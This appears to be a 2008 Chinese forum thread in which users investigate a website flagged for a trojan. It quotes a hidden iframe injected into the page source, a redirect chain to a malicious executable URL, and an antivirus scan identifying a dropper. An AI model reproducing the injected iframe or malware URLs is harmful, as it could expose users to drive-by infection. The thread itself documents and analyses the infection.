掛馬

显示全部楼层 · 发表于 2008-3-22 19:47:19

已偵測: 特洛伊木馬程式 Trojan-Clicker.HTML.IFrame.jx 網址: http://mscracks.com

[ 本帖最后由 kato9096 于 2008-3-22 19:57 编辑 ]

显示全部楼层 · 发表于 2008-3-22 19:56:21

Error: 12002(Timeout)

显示全部楼层 · 发表于 2008-3-22 19:57:45

打不开。

显示全部楼层 · 发表于 2008-3-22 20:00:22

还是打不开!

显示全部楼层 · 发表于 2008-3-22 20:08:53

Request time out

显示全部楼层 · 发表于 2008-3-22 20:14:29

Microsoft Windows XP [版本 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\kato9096>ping mscracks.com

Pinging mscracks.com [85.17.52.47] with 32 bytes of data:

Reply from 85.17.52.47: bytes=32 time=386ms TTL=54
Reply from 85.17.52.47: bytes=32 time=397ms TTL=54
Reply from 85.17.52.47: bytes=32 time=390ms TTL=54
Reply from 85.17.52.47: bytes=32 time=501ms TTL=54

Ping statistics for 85.17.52.47:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 386ms, Maximum = 501ms, Average = 418ms

C:\Documents and Settings\kato9096>

你们通不通?

显示全部楼层 · 发表于 2008-3-22 20:16:29

香港就是网络比较自由

显示全部楼层 · 发表于 2008-3-22 20:17:13

把报的脚本发上来也行

显示全部楼层 · 发表于 2008-3-22 20:29:52

捉马：爬墙是基本功

源码底部：
<iframe src="http://sclgntfy.com/ent2051.htm" style="display:none"></iframe>

转到http://sclgntfy.com/_rvypkqpm/2051tjxnrotq.htm

http://sclgntfy.com/_rvypkqpm/2051srhwczad.exe

还有个http://sclgntfy.com/playlist.mov（正在弄）

显示全部楼层 · 发表于 2008-3-22 20:34:09

Starting the file scan:

Begin scan in 'E:\AVIRA\2051srhwczad.exe'
E:\AVIRA\2051srhwczad.exe
[DETECTION] Is the Trojan horse TR/Dropper.Gen
[INFO] The file was deleted!

[已鉴定] 掛馬

回复 9楼 dikex 的帖子